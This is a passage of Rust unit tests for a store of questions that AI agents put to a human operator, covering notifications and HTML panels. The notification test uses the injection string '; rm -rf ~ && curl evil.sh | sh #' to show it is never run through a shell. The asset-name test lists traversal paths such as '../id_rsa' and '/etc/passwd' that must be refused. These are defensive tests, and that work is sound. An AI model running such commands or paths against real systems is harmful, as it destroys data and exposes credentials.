933        let dir = tempfile::tempdir().unwrap();
934        let s = Questions::at(dir.path().join("questions"));
935        (dir, s)
936    }
937
938    #[test]
939    fn deleting_a_run_stops_its_questions_asking() {
940        let (_dir, store) = store();
941
942        let mut open_one = choice_question();
943        store.put(&mut open_one).unwrap();
944        let mut answered = free_question();
945        answered
946            .answer(Answer::Text("keep this".to_owned()))
947            .unwrap();
948        store.put(&mut answered).unwrap();
949        let mut elsewhere = choice_question();
950        elsewhere.run = "20260903-105039-3cbf".to_owned();
951        store.put(&mut elsewhere).unwrap();
952
953        let n = store
954            .abandon_for_run(&open_one.run, "run was deleted")
955            .unwrap();
956        assert_eq!(n, 1, "only the open question of that run");
957
958        let back = store.get(&open_one.id).unwrap();
959        assert!(!back.status.open(), "it no longer asks for a decision");
960        assert!(
961            back.detail.contains("run was deleted"),
962            "the operator can see why: {}",
963            back.detail
964        );
965
966        let kept = store.get(&answered.id).unwrap();
967        assert_eq!(
968            kept.status,
969            QuestionStatus::Answered,
970            "an answered question is a decision on record, not something to revoke"
971        );
972        assert!(
973            store.get(&elsewhere.id).unwrap().status.open(),
974            "another run's question is untouched"
975        );
976        assert!(store.open_for(&open_one.run).is_empty());
977    }
978
979    fn choice_question() -> Question {
980        Question::new(
981            "20260902-201256-9fb7".to_owned(),
982            "implement".to_owned(),
983            "impl-A".to_owned(),
984            "Which storage backend should the cache use?".to_owned(),
985            "Both are already dependencies.".to_owned(),
986            vec!["SQLite".to_owned(), "Redis".to_owned()],
987        )
988    }
989
990    fn free_question() -> Question {
991        Question::new(
992            "20260902-201256-9fb7".to_owned(),
993            "review".to_owned(),
994            "rev-1".to_owned(),
995            "What should the error message say?".to_owned(),
996            String::new(),
997            Vec::new(),
998        )
999    }
1000
1001    /// No notification, which is the default and what most of these want.
1002    fn quiet() -> config::Notify {
1003        config::Notify::default()
1004    }
1005
1006    #[test]
1007    fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
1008        // The front end parses these names by hand; there is no shared schema
1009        // and no compiler between the two. A rename here is a UI that shows an
1010        // empty card and reports no error, so the names are asserted literally.
1011        let mut q = choice_question();
1012        q.id = "20260902-231501-ab12".to_owned();
1013        let open: serde_json::Value = serde_json::to_value(&q).unwrap();
1014        // `serde_json::Value` holds an object's keys sorted, and key order
1015        // means nothing to a JSON reader anyway: the field *set* is what the
1016        // front end was written against, so that is what is pinned here.
1017        let keys: Vec<&str> = open
1018            .as_object()
1019            .unwrap()
1020            .keys()
1021            .map(String::as_str)
1022            .collect();
1023        assert_eq!(
1024            keys,
1025            [
1026                "answer",
1027                "answered_at",
1028                "asked_at",
1029                "assets",
1030                "choices",
1031                "detail",
1032                "id",
1033                "node",
1034                "panel",
1035                "run",
1036                "schema",
1037                "seat",
1038                "status",
1039                "summary",
1040            ],
1041            "the on-disk field set is a contract with the front end"
1042        );
1043        assert_eq!(open["schema"], 1);
1044        assert_eq!(open["id"], "20260902-231501-ab12");
1045        assert_eq!(open["run"], "20260902-201256-9fb7");
1046        assert_eq!(open["node"], "implement");
1047        assert_eq!(open["seat"], "impl-A");
1048        assert_eq!(open["status"], "open");
1049        assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
1050        assert_eq!(open["answered_at"], serde_json::Value::Null);
1051        assert_eq!(open["answer"], serde_json::Value::Null);
1052        let asked = open["asked_at"].as_str().unwrap();
1053        assert!(
1054            asked.ends_with('Z') && asked.contains('T'),
1055            "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
1056        );
1057
1058        // A chosen option, exactly as the contract spells it.
1059        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1060        let answered = serde_json::to_value(&q).unwrap();
1061        assert_eq!(answered["status"], "answered");
1062        assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
1063        assert!(answered["answered_at"].is_string());
1064
1065        // And free text, which is the other of the two forms.
1066        let mut free = free_question();
1067        free.answer(Answer::Text("Say which file it was".to_owned()))
1068            .unwrap();
1069        assert_eq!(
1070            serde_json::to_value(&free).unwrap()["answer"],
1071            serde_json::json!({"text": "Say which file it was"})
1072        );
1073
1074        // And it survives the round trip a reader actually performs.
1075        let body = serde_json::to_string(&q).unwrap();
1076        assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
1077    }
1078
1079    #[test]
1080    fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
1081        // Four different mistakes, four different fixes: the web handler shows
1082        // these strings to the person who made them.
1083        let mut unoffered = choice_question();
1084        let a = unoffered
1085            .answer(Answer::Choice("Postgres".to_owned()))
1086            .unwrap_err()
1087            .to_string();
1088
1089        let mut typed = choice_question();
1090        let b = typed
1091            .answer(Answer::Text("use Postgres".to_owned()))
1092            .unwrap_err()
1093            .to_string();
1094
1095        let mut blank = free_question();
1096        let c = blank
1097            .answer(Answer::Text("   \n".to_owned()))
1098            .unwrap_err()
1099            .to_string();
1100
1101        let mut twice = choice_question();
1102        twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1103        let d = twice
1104            .answer(Answer::Choice("Redis".to_owned()))
1105            .unwrap_err()
1106            .to_string();
1107
1108        assert!(a.contains("not one of the choices"), "{a}");
1109        assert!(b.contains("multiple choice"), "{b}");
1110        assert!(c.contains("empty"), "{c}");
1111        assert!(d.contains("already answered"), "{d}");
1112        let mut distinct = vec![a, b, c, d];
1113        let asked = distinct.len();
1114        distinct.sort_unstable();
1115        distinct.dedup();
1116        assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
1117
1118        // The refused ones are still open, so the owner can answer properly.
1119        assert_eq!(unoffered.status, QuestionStatus::Open);
1120        assert_eq!(typed.status, QuestionStatus::Open);
1121        assert_eq!(blank.status, QuestionStatus::Open);
1122        // And the first answer to the double-answered one survived.
1123        assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
1124
1125        // Free text refuses a fabricated choice for the mirror-image reason.
1126        let mut free = free_question();
1127        let e = free
1128            .answer(Answer::Choice("SQLite".to_owned()))
1129            .unwrap_err()
1130            .to_string();
1131        assert!(e.contains("free text"), "{e}");
1132    }
1133
1134    #[test]
1135    fn open_questions_are_listed_before_answered_ones() {
1136        let (_dir, s) = store();
1137        // Ids carry a timestamp, so force a known order: the answered one is
1138        // the newest, and must still sort below the open ones.
1139        let mut old_open = choice_question();
1140        old_open.id = "20260101-000001-aaaa".to_owned();
1141        let mut new_open = choice_question();
1142        new_open.id = "20260101-000002-bbbb".to_owned();
1143        let mut answered = choice_question();
1144        answered.id = "20260101-000003-cccc".to_owned();
1145        answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
1146        for q in [&mut old_open, &mut new_open, &mut answered] {
1147            s.put(q).unwrap();
1148        }
1149
1150        let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
1151        assert_eq!(
1152            ids,
1153            [
1154                "20260101-000002-bbbb",
1155                "20260101-000001-aaaa",
1156                "20260101-000003-cccc"
1157            ],
1158            "what has stopped work comes first; history sorts underneath"
1159        );
1160        assert_eq!(s.count_open(), 2);
1161        assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
1162        assert!(s.open_for("some-other-run").is_empty());
1163        // The short id is what the phone and the reports show.
1164        assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
1165        assert!(s.get("20260101-000002-bbbb").is_ok());
1166        assert!(s.resolve_id("nope").is_err());
1167        assert!(
1168            s.revision() > 0,
1169            "the store's mtime drives the phone's polling"
1170        );
1171    }
1172
1173    #[test]
1174    fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
1175        let (_dir, s) = store();
1176        let mut good = choice_question();
1177        s.put(&mut good).unwrap();
1178        // Truncated by a killed writer, and written by a magi from the future.
1179        std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
1180        let future = serde_json::json!({
1181            "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
1182            "seat": "s", "summary": "?", "detail": "", "choices": [],
1183            "status": "open", "asked_at": "2026-01-01T00:00:00Z",
1184            "answered_at": null, "answer": null,
1185        });
1186        std::fs::write(
1187            s.path_of("20260101-000010-beef"),
1188            serde_json::to_string(&future).unwrap(),
1189        )
1190        .unwrap();
1191
1192        let listed = s.list();
1193        assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
1194        assert_eq!(listed[0].id, good.id);
1195        // Asked for by name, the unreadable one explains itself instead.
1196        let e = s.get("20260101-000010-beef").unwrap_err().to_string();
1197        assert!(e.contains("schema"), "{e}");
1198    }
1199
1200    #[tokio::test]
1201    async fn the_wait_returns_the_answer_another_process_wrote() {
1202        // The phone, `magi answer` and this run are three processes with no
1203        // channel between them: the file is the channel, so the wait has to see
1204        // a write it did not make. Sub-second timings keep this a real wait
1205        // without a real one's duration.
1206        let (dir, s) = store();
1207        let mut q = choice_question();
1208        let id = q.id.clone();
1209        let writer = Questions::at(dir.path().join("questions"));
1210        let handle = tokio::spawn(async move {
1211            tokio::time::sleep(Duration::from_millis(30)).await;
1212            let mut fresh = writer.get(&id).expect("the question was filed first");
1213            fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1214            writer.put(&mut fresh).unwrap();
1215        });
1216
1217        let got = wait_for_owner(
1218            &mut q,
1219            &s,
1220            &quiet(),
1221            Duration::from_secs(5),
1222            Duration::from_millis(10),
1223        )
1224        .await
1225        .unwrap();
1226
1227        handle.await.unwrap();
1228        assert_eq!(got.as_deref(), Some("SQLite"));
1229        assert_eq!(
1230            q.status,
1231            QuestionStatus::Answered,
1232            "the caller's copy is refreshed from the answering process's record"
1233        );
1234        assert!(q.answered_at.is_some());
1235    }
1236
1237    #[tokio::test]
1238    async fn a_question_nobody_answers_is_abandoned_not_deleted() {
1239        let (_dir, s) = store();
1240        let mut q = choice_question();
1241
1242        let got = wait_for_owner(
1243            &mut q,
1244            &s,
1245            &quiet(),
1246            Duration::from_millis(60),
1247            Duration::from_millis(10),
1248        )
1249        .await
1250        .unwrap();
1251
1252        assert!(got.is_none(), "a slow human is not an error; the run parks");
1253        assert_eq!(q.status, QuestionStatus::Abandoned);
1254        let on_disk = s.get(&q.id).expect("the record of what was asked survives");
1255        assert_eq!(on_disk.status, QuestionStatus::Abandoned);
1256        assert!(
1257            on_disk.detail.contains("Abandoned:"),
1258            "why nobody answered belongs with the question: {}",
1259            on_disk.detail
1260        );
1261        assert!(on_disk.resolution().is_none());
1262        assert_eq!(s.count_open(), 0);
1263    }
1264
1265    #[tokio::test]
1266    async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
1267        // A broken webhook must not throw away an implementation, so the wait
1268        // reports the failure and carries on. `notify` itself still says what
1269        // went wrong, because `magi notify --test` has to be able to show it.
1270        let (dir, s) = store();
1271        let broken = config::Notify {
1272            command: vec![
1273                "magi-notifier-that-does-not-exist-9fb7".to_owned(),
1274                "{summary}".to_owned(),
1275            ],
1276        };
1277        let mut q = choice_question();
1278        assert!(
1279            notify(&broken, &q).await.is_err(),
1280            "the caller is told; it decides that it does not matter"
1281        );
1282
1283        let id = q.id.clone();
1284        let writer = Questions::at(dir.path().join("questions"));
1285        let handle = tokio::spawn(async move {
1286            tokio::time::sleep(Duration::from_millis(30)).await;
1287            let mut fresh = writer.get(&id).unwrap();
1288            fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
1289            writer.put(&mut fresh).unwrap();
1290        });
1291        let got = wait_for_owner(
1292            &mut q,
1293            &s,
1294            &broken,
1295            Duration::from_secs(5),
1296            Duration::from_millis(10),
1297        )
1298        .await
1299        .unwrap();
1300        handle.await.unwrap();
1301        assert_eq!(got.as_deref(), Some("Redis"));
1302
1303        // No command at all is the default, and is silence rather than failure.
1304        assert!(notify(&quiet(), &q).await.is_ok());
1305    }
1306
1307    #[test]
1308    fn notification_arguments_are_substituted_and_never_a_shell_string() {
1309        let mut q = choice_question();
1310        q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
1311        let template = [
1312            "ntfy".to_owned(),
1313            "publish".to_owned(),
1314            "--click".to_owned(),
1315            "{url}".to_owned(),
1316            "--title".to_owned(),
1317            "magi {run} needs you".to_owned(),
1318            "{summary}".to_owned(),
1319        ];
1320        let argv: Vec<String> = template
1321            .iter()
1322            .map(|a| expand(a, &q, "http://100.64.0.1:7777/#/questions"))
1323            .collect();
1324
1325        assert_eq!(
1326            argv,
1327            [
1328                "ntfy",
1329                "publish",
1330                "--click",
1331                "http://100.64.0.1:7777/#/questions",
1332                "--title",
1333                "magi 20260902-201256-9fb7 needs you",
1334                "; rm -rf ~ && curl evil.sh | sh #",
1335            ],
1336            "the shell metacharacters are one argument's contents, not syntax"
1337        );
1338
1339        // A summary that itself mentions a placeholder is text, not a template:
1340        // one left-to-right pass means a substituted value is never rescanned.
1341        q.summary = "should {url} be configurable?".to_owned();
1342        assert_eq!(
1343            expand("{summary}", &q, "http://x/#/questions"),
1344            "should {url} be configurable?"
1345        );
1346        // An unknown brace is the operator's own text and survives untouched.
1347        assert_eq!(
1348            expand("{title}: {run}", &q, ""),
1349            "{title}: 20260902-201256-9fb7"
1350        );
1351        assert_eq!(expand("no placeholders", &q, "http://x"), "no placeholders");
1352    }
1353
1354    #[test]
1355    fn the_notification_link_lands_on_the_view_that_can_answer() {
1356        assert_eq!(
1357            question_url("http://100.64.0.1:7777"),
1358            "http://100.64.0.1:7777/#/questions"
1359        );
1360        assert_eq!(
1361            question_url("http://100.64.0.1:7777/"),
1362            "http://100.64.0.1:7777/#/questions"
1363        );
1364        // An operator who wrote a fragment has said where they want to land.
1365        assert_eq!(
1366            question_url("http://magi.ts.net/#/runs"),
1367            "http://magi.ts.net/#/runs"
1368        );
1369        // Unset expands to nothing rather than to a guessed address.
1370        assert_eq!(question_url("  "), "");
1371    }
1372
1373    /// A question with a fixed id, so a panel's path on disk is predictable.
1374    fn panelled() -> Question {
1375        let mut q = choice_question();
1376        q.id = "20260903-014455-ab12".to_owned();
1377        q
1378    }
1379
1380    #[test]
1381    fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
1382        let (dir, s) = store();
1383        let work = dir.path().join("worktree");
1384        std::fs::create_dir_all(&work).unwrap();
1385        std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
1386        std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
1387
1388        let mut q = panelled();
1389        let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
1390        s.put_panel(
1391            &mut q,
1392            html,
1393            &[work.join("table.png"), work.join("diff.svg")],
1394        )
1395        .unwrap();
1396        s.put(&mut q).unwrap();
1397
1398        assert!(q.panel);
1399        assert_eq!(
1400            q.assets,
1401            ["diff.svg", "table.png"],
1402            "sorted, not in the order the agent happened to pass them"
1403        );
1404        assert_eq!(
1405            s.panel_html(&q.id).as_deref(),
1406            Some(html),
1407            "the html is stored byte for byte; the agent authored the markup"
1408        );
1409        assert_eq!(
1410            s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
1411            Some(&b"<svg/>"[..])
1412        );
1413
1414        // The record on disk carries the same two fields the front end reads.
1415        let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
1416        let json: serde_json::Value = serde_json::from_str(&body).unwrap();
1417        assert_eq!(json["panel"], true);
1418        assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
1419        let back = s.get(&q.id).unwrap();
1420        assert!(back.panel);
1421        assert_eq!(back.assets, q.assets);
1422
1423        // The assets were copied, so the panel still renders after `magi fold`
1424        // has deleted the candidate worktree the agent authored it in.
1425        std::fs::remove_dir_all(&work).unwrap();
1426        assert_eq!(
1427            s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
1428            Some(&b"\x89PNG"[..]),
1429            "a referenced asset would be gone with the worktree"
1430        );
1431    }
1432
1433    #[test]
1434    fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
1435        let (dir, s) = store();
1436        let mut q = panelled();
1437        s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
1438        s.put(&mut q).unwrap();
1439
1440        // A file exactly one level up from the panel directory - which is
1441        // where `..` lands - holding content a read would make visible.
1442        let secret = "this must never reach the browser";
1443        std::fs::write(s.root().join("id_rsa"), secret).unwrap();
1444        assert_eq!(
1445            std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
1446            secret,
1447            "the traversal is real: the operating system resolves this path \
1448             happily, which is why the name has to be refused before the join"
1449        );
1450
1451        let long = "x".repeat(200);
1452        for name in [
1453            "..",
1454            "../id_rsa",
1455            "..\\id_rsa",
1456            "sub/../id_rsa",
1457            "/",
1458            "\\",
1459            "/etc/passwd",
1460            "C:\\Windows\\win.ini",
1461            "",
1462            ".hidden",
1463            ".",
1464            long.as_str(),
1465        ] {
1466            assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
1467            let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
1468            assert!(
1469                e.contains("not a panel file name"),
1470                "`{name}` must be refused as a name, not attempted: {e}"
1471            );
1472            assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
1473        }
1474        // A name that is allowed still finds its file, so the refusals above
1475        // were the rule at work and not a store that reads nothing.
1476        assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
1477
1478        // The same rule on the write side, where the name comes from a source
1479        // file's base name, and a refusal leaves the stored panel untouched.
1480        let hidden = dir.path().join(".hidden");
1481        std::fs::write(&hidden, "x").unwrap();
1482        let e = s
1483            .put_panel(&mut q, "<p>replacement</p>", &[hidden])
1484            .unwrap_err()
1485            .to_string();
1486        assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
1487        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
1488        assert!(q.assets.is_empty());
1489    }
1490
1491    #[test]
1492    fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
1493        let (dir, s) = store();
1494        let mut q = panelled();
1495        s.put(&mut q).unwrap();
1496
1497        // Sized rather than filled: the cap reads the file's length, and a
1498        // test that actually produced eight mebibytes would only be slower.
1499        let big = dir.path().join("recording.png");
1500        std::fs::File::create(&big)
1501            .unwrap()
1502            .set_len(PANEL_MAX_BYTES)
1503            .unwrap();
1504
1505        let html = "<p>see the recording</p>";
1506        let total = PANEL_MAX_BYTES + html.len() as u64;
1507        let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
1508        assert!(
1509            e.contains(&PANEL_MAX_BYTES.to_string()),
1510            "the cap is named so the agent knows the limit: {e}"
1511        );
1512        assert!(
1513            e.contains(&total.to_string()),
1514            "the actual size is named so the agent knows by how much: {e}"
1515        );
1516
1517        assert!(!q.panel);
1518        assert!(q.assets.is_empty());
1519        let left: Vec<String> = std::fs::read_dir(s.root())
1520            .unwrap()
1521            .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
1522            .collect();
1523        assert_eq!(
1524            left,
1525            [format!("{}.json", q.id)],
1526            "a refused panel leaves neither a directory nor scratch: {left:?}"
1527        );
1528    }
1529
1530    #[test]
1531    fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
1532        let (dir, s) = store();
1533        let (before, after) = (dir.path().join("before"), dir.path().join("after"));
1534        std::fs::create_dir_all(&before).unwrap();
1535        std::fs::create_dir_all(&after).unwrap();
1536        std::fs::write(before.join("diff.png"), "before").unwrap();
1537        std::fs::write(after.join("diff.png"), "after").unwrap();
1538
1539        let mut q = panelled();
1540        let e = s
1541            .put_panel(
1542                &mut q,
1543                "<p>x</p>",
1544                &[before.join("diff.png"), after.join("diff.png")],
1545            )
1546            .unwrap_err()
1547            .to_string();
1548        assert!(e.contains("diff.png"), "{e}");
1549        assert!(
1550            e.contains("before") && e.contains("after"),
1551            "both sources are named, because the fix is to rename one: {e}"
1552        );
1553        assert!(!q.panel);
1554        assert!(!s.panel_dir(&q.id).exists());
1555    }
1556
1557    #[test]
1558    fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
1559        let (dir, s) = store();
1560        std::fs::write(dir.path().join("old.png"), "old").unwrap();
1561        std::fs::write(dir.path().join("new.png"), "new").unwrap();
1562
1563        let mut q = panelled();
1564        s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
1565            .unwrap();
1566        s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
1567            .unwrap();
1568
1569        assert_eq!(q.assets, ["new.png"]);
1570        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
1571        assert!(
1572            s.panel_asset(&q.id, "old.png").unwrap().is_none(),
1573            "an asset from the first attempt would show a mix of two answers"
1574        );
1575
1576        s.drop_panel(&q.id).unwrap();
1577        assert!(s.panel_html(&q.id).is_none());
1578        assert!(!s.panel_dir(&q.id).exists());
1579        s.drop_panel(&q.id)
1580            .expect("dropping a panel that is already gone is the desired state");
1581    }
1582
1583    #[test]
1584    fn a_question_with_no_panel_reports_none_rather_than_an_error() {
1585        let (_dir, s) = store();
1586        let mut q = panelled();
1587        s.put(&mut q).unwrap();
1588
1589        assert!(!q.panel);
1590        assert!(s.panel_html(&q.id).is_none());
1591        assert!(
1592            s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
1593            "a missing file is a 404 for the caller, not a failure of the store"
1594        );
1595        let json = serde_json::to_value(&q).unwrap();
1596        assert_eq!(json["panel"], false);
1597        assert_eq!(json["assets"], serde_json::json!([]));
1598
1599        // And an empty panel is refused, because an empty frame reads to the
1600        // owner as "the agent had nothing to say".
1601        let e = s.put_panel(&mut q, "  \n", &[]).unwrap_err().to_string();
1602        assert!(e.contains("empty panel"), "{e}");
1603        assert!(!s.panel_dir(&q.id).exists());
1604    }
1605
1606    #[test]
1607    fn a_question_written_before_panels_existed_still_deserialises() {
1608        let (_dir, s) = store();
1609        std::fs::create_dir_all(s.root()).unwrap();
1610        let id = "20260902-231501-ab12";
1611        // Byte for byte what an older magi wrote: no `panel`, no `assets`.
1612        let body = r#"{
1613  "schema": 1,
1614  "id": "20260902-231501-ab12",
1615  "run": "20260902-201256-9fb7",
1616  "node": "implement",
1617  "seat": "impl-A",
1618  "summary": "Which storage backend should the cache use?",
1619  "detail": "Both are already dependencies.",
1620  "choices": ["SQLite", "Redis"],
1621  "status": "open",
1622  "asked_at": "2026-09-02T23:15:01Z",
1623  "answered_at": null,
1624  "answer": null
1625}"#;
1626        std::fs::write(s.path_of(id), body).unwrap();
1627
1628        let q = s.get(id).unwrap();
1629        assert!(
1630            !q.panel,
1631            "an absent field means no panel, not a parse error"
1632        );
1633        assert!(q.assets.is_empty());
1634        assert_eq!(q.summary, "Which storage backend should the cache use?");
1635        assert_eq!(
1636            s.list().len(),
1637            1,
1638            "and it is still listed; skipping it would hide an open question"
1639        );
1640    }
1641}